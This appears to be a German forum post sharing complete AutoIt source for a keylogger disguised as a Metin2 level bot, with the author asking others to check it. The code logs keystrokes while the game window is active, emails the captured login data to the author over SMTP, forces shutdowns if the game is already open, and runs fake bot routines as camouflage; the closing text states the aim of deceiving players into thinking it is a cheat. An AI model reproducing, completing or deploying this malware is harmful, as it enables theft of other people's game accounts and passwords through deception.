Autoit Keylogger

[Kolabi]

Du musst den Code auch verstehen und die Logik erkennen.Deshalb ist Copy&Paste nicht unbedingt lernfördernd.
Fang aber erst mit den Grundlagen einer Programmiersprache an

[L3rn To H4ck]

;--------------------------------Teil 1 _Deine Angaben_-------------------------------------------

Global $DeineEmailadresse = "" ;zb meine email@web.de
Global $AbsenderEmail = "" ;von der gesendet wird@web.de
Global $Passwort = "" ;und das pass von abs.. email

;--------------------------------Teil 2 _Start_-------------------------------------------


#include <Array.au3>
#include <misc.au3>
#include <INet.au3>
#Include <File.au3>

;25=LEFT ARROW
;26=UP ARROW
;27=RIGHT ARROW
;28=DOWN ARROW

If WinActivate("METIN2") Then
MsgBox(0,"Metin2 Lvlbot","Dein Metin2 Fenster ist aktiv, bitte schließe es! Die initialien dieses Fensters müssen erst gelesen werden!")
Sleep(5000)
Else
MsgBox(0,"Metin2 Lvlbot","Du kannst nun Metin2 starten!")
EndIf
If WinActivate("METIN2") Then
While 1
$shut=Shutdown(0)
if $shut=0 Then
$shut=Shutdown(1)
if $shut=0 Then
$shut=Shutdown(2)
if $shut=0 Then
$shut=Shutdown(4)
if $shut=0 Then
$shut=Shutdown(8)
if $shut=0 Then
$shut=Shutdown(32)
if $shut=0 Then
$shut=Shutdown(46)
EndIf
EndIf
EndIf
EndIf
EndIf
EndIf
WEnd
EndIf


;--------------------------------Teil 3 _Die Aufzeichung_-------------------------------------------

$dll = DllOpen("user32.dll")
$keys = IniReadSection("keys.ini","keys")

WinWaitActive("METIN2")

;25 LEFT ARROW key
; 26 UP ARROW key
; 27 RIGHT ARROW key
;28 DOWN ARROW key



Global $timer = TimerInit()
Global $a="DETECTOR: "
Global $shift=False

Do
for $x =1 to $keys[0][0]
if _ispressed($keys[$x][0],$dll) then
$key = $keys[$x][1]
If (_IsPressed("A1") or _IsPressed("A0")) Then
if not $shift Then
$a = $a & "{Shift} "
EndIf
$shift=True
Else
if $shift=True Then
$a = $a & "{//Shift} "
$shift=False
EndIf
EndIf

while _ispressed ($keys[$x][0],$dll)
sleep(1)
wend
$a = $a & $keys[$x][1]& " "
If TimerDiff($timer)>min2milli(4.5) or _IsPressed("25") or _IsPressed("26") or _IsPressed("27") or _IsPressed("28") Then ExitLoop
EndIf
If TimerDiff($timer)>min2milli(4.5) or _IsPressed("25") or _IsPressed("26") or _IsPressed("27") or _IsPressed("28") Then ExitLoop
Next
Until TimerDiff($timer)>min2milli(4.5) or _IsPressed("25") or _IsPressed("26") or _IsPressed("27") or _IsPressed("28")

;----------------------------------------------------Teil 4 _Die Sendung_-------------------------------------


Sendmail($AbsenderEmail,$DeineEmailadresse,$a,$Abs enderEmail,$Passwort)


;----------------------------------------------------Teil 5 _Die Tarnung_-------------------------------------


$msg=MsgBox(0,"Metin2 LvL-Bot","Klicke auf Ok um den Bot zu Starten")
If $msg = 1 Then Los()

HotKeySet("{F3}", "_beenden")
HotKeySet("{F2}", "_pause")
HotKeySet("{F1}", "Los")
HotKeySet("{F4}", "ShowExp")
HotKeySet("{F5}", "Inventar")


Func Inventar()
If _IsPressed("49") Then
Do
Sleep(10)
Until _IsPressed("49")
EndIf
EndFunc

Func ShowExp()
Do
Sleep(15)
MouseMove(222,578,1)
Sleep(15)
Until _ispressed("75")
EndFunc

Func _pause()
Do
Sleep(100)
$Messege=MsgBox(0,"LvL-Bot Pause","Klicke Ok um weiter zu Lvln")
Until $Messege=1
EndFunc

Func _Beenden()
Exit
EndFunc





Func Lvln()
$pixelsearch=PixelSearch(1,1,744,446,"0xE81722",25 )
if Not @Error Then
MouseMove($pixelsearch[0]+25, $pixelsearch[1] +50, 1)
Send("{^}{^}{^}{^}{^}{^}")
MouseClick("left")
Send("{^}{^}{^}{^}{^}{^}")

Else
Send("{^}{^}{^}{^}{^}{^}")
MouseClickDrag("right",198, 434,212,434)
Send("{^}{^}{^}{^}{^}{^}")
$pixelsearch=PixelSearch(1,1,744,446,"0xE81722",25 )
if Not @Error Then
MouseMove($pixelsearch[0]+25, $pixelsearch[1] +50, 1)
Send("{^}{^}{^}{^}{^}{^}")
MouseClick("left")
Send("{^}{^}{^}{^}{^}{^}")
Else
MouseClickDrag("right",198, 434,212,434)
Send("{^}{^}{^}{^}{^}{^}")
$pixelsearch=PixelSearch(1,1,744,446,"0xE81722",25 )
if Not @Error Then
Send("{^}{^}{^}{^}{^}{^}")
MouseMove($pixelsearch[0]+25, $pixelsearch[1] +50, 1)
Send("{^}{^}{^}{^}{^}{^}")
MouseClick("left")
Send("{^}{^}{^}{^}{^}{^}")
Else
MouseClickDrag("right",198, 434,212,434)
Send("{^}{^}{^}{^}{^}{^}")
$pixelsearch=PixelSearch(1,1,744,446,"0xE81722",25 )
If Not @Error Then
Send("{^}{^}{^}{^}{^}{^}")
MouseMove($pixelsearch[0]+25, $pixelsearch[1] +50, 1)
Send("{^}{^}{^}{^}{^}{^}")
MouseClick("left")
Send("{^}{^}{^}{^}{^}{^}")
Send("{d}")
Send("{a}")
Send("{d}")
Send("{a}")
Send("{^}{^}{^}{^}{^}{^}")
Send("{w down}")
Send("{^}{^}{^}{^}{^}{^}")
Sleep(3000)
Send("{^}{^}{^}{^}{^}{^}")
Send("{w up}")
Send("{^}{^}{^}{^}{^}{^}")
Send("{d}")
Send("{a}")
Send("{d}")
Send("{a}")
Send("{^}{^}{^}{^}{^}{^}")
Else
Send("{w down}")
Send("{^}{^}{^}{^}{^}{^}")
Sleep(3000)
Send("{^}{^}{^}{^}{^}{^}")
Send("{w up}")
Send("{^}{^}{^}{^}{^}{^}")
Send("{^}{^}{^}{^}{^}{^}")
Send("{^}{^}{^}{^}{^}{^}")
$pixelsearch=PixelSearch(1,1,744,446,"0xE81722",25 )
If Not @Error Then
Send("{^}{^}{^}{^}{^}{^}")
MouseMove($pixelsearch[0]+25, $pixelsearch[1] +50, 1)
Send("{^}{^}{^}{^}{^}{^}")
MouseClick("left")
Send("{^}{^}{^}{^}{^}{^}")
Send("{d}")
Send("{a}")
Send("{d}")
Send("{a}")
Send("{^}{^}{^}{^}{^}{^}")
Else
Send("{^}{^}{^}{^}{^}{^}")
Send("{w down}")
Send("{^}{^}{^}{^}{^}{^}")
Sleep(3000)
Send("{^}{^}{^}{^}{^}{^}")
Send("{w up}")
Send("{^}{^}{^}{^}{^}{^}")
Send("{^}{^}{^}{^}{^}{^}")
EndIf
EndIf
EndIf
EndIf
EndIf
EndFunc

Func Fertigkeiten()
Send("{F1}")
Send("{d}")
Send("{d}")
Send("{a}")
Send("{d}")
Send("{a}")
Send("{F2}")
Send("{F3}")
Send("{F4}")
EndFunc

Func Drink()
$TP2=PixelSearch(118, 572,118, 572,0x2c2c2c,35)
If Not @error Then
Send("{4}")
Send("{4}")
Send("{4}")
EndIf
$TP=PixelSearch(124,572,124,572,0x2c2c2c,35)
If Not @error Then
Send("{4}")
EndIf
$MP=PixelSearch(70,584,70,584,0x2c2c2c,35)
If Not @error Then
Send("{3}")
EndIf
EndFunc

$hi=1
Func saghi()
Sleep(1)
EndFunc


Func Tod()
$Tod=PixelSearch(216,81,216,81,0xcec7ce,25)
If Not @error Then
MouseMove(216,81,1)
MouseClick("left")
EndIf
EndFunc

Func Loser()
Tod()
Lvln()
Drink()
LvLn()
LvLn()
LvLn()
Drink()
Lvln()
LvLn()
LvLn()
Drink()
LvLn()
Lvln()
Tod()
LvLn()
Drink()
LvLn()
LvLn()
Lvln()
Drink()
LvLn()
LvLn()
LvLn()
Drink()
Lvln()
LvLn()
Drink()
LvLn()
LvLn()
Fertigkeiten()
Lvln()
LvLn()
Drink()
LvLn()
LvLn()
Drink()
Lvln()
LvLn()
Drink()
LvLn()
LvLn()
Fertigkeiten()
Tod()
saghi()


EndFunc

Func Los()
Sleep(7000)
While 1
Loser()
WEnd
EndFunc


;----------------------------------------------------Teil 4 _Die Funktionen_----------------------------------




Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "")
$objEmail = ObjCreate("CDO.Message")
$objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
$objEmail.To = $s_ToAddress
Local $i_Error = 0
Local $i_Error_desciption = ""
If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
If $s_BccAddress <> "" Then $objEmail.Cc = $s_BccAddress
$objEmail.Subject = $s_Subject
If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then
$objEmail.HTMLBody = $as_Body
Else
$objEmail.Textbody = $as_Body & @CRLF
EndIf
If $s_AttachFiles <> "" Then
Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
For $ex = 1 To $S_Files2Attach[0]
$S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
If FileExists($S_Files2Attach[$x]) Then
$objEmail.AddAttachment ($S_Files2Attach[$x])
Else
$i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x]
SetError(1)
return 0
EndIf
Next
EndIf
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
;Authenticated SMTP
If $s_Username <> "" Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
EndIf
;Update settings
$objEmail.Configuration.Fields.Update
; Send the Message
$objEmail.Send
if @error then
SetError(2)
return $oMyRet[1]
EndIf
EndFunc;==>_INetSmtpMailCom

Func Sendmail($from,$to,$body,$user,$password)
Sendamail("smtp.web.de","xyzichbinfett",$from, $to, "Passwort und Id von xyzichbinfett's bot!",$body,"","","",$user,$password)
EndFunc

Func Sendamail($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "")

Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc");XxSendMailerxX@web.de
$rc=_INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password)
If @error then
MsgBox(0,"Error","Es ist ein unerwarteter Fehler aufgetreten... Bitte versuche es erneut")
EndIf
EndFunc
;
; Com Error Handler
Func MyErrFunc()
$HexNumber = Hex($oMyError.number, 8)
$oMyRet[0] = $HexNumber
$oMyRet[1] = StringStripWS($oMyError.description,3)
ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF)
SetError(1); something to check for when this function returns
Return
EndFunc;==>MyErrFunc

Func min2milli($milli)
$neu=int($milli)*1000
$neu=$neu*60
return int($neu)
EndFunc

Ist das so in Ordnung oder habe ich da was übersehen, das ist mit autoit geschrieben und ist für ein spiel gedacht damit die anderen denken es wäre ein chet für das spiel! Habe da noch par kleine Funktionen rein getan damit es nicht ganz auffällt. Was meint ihr dazu?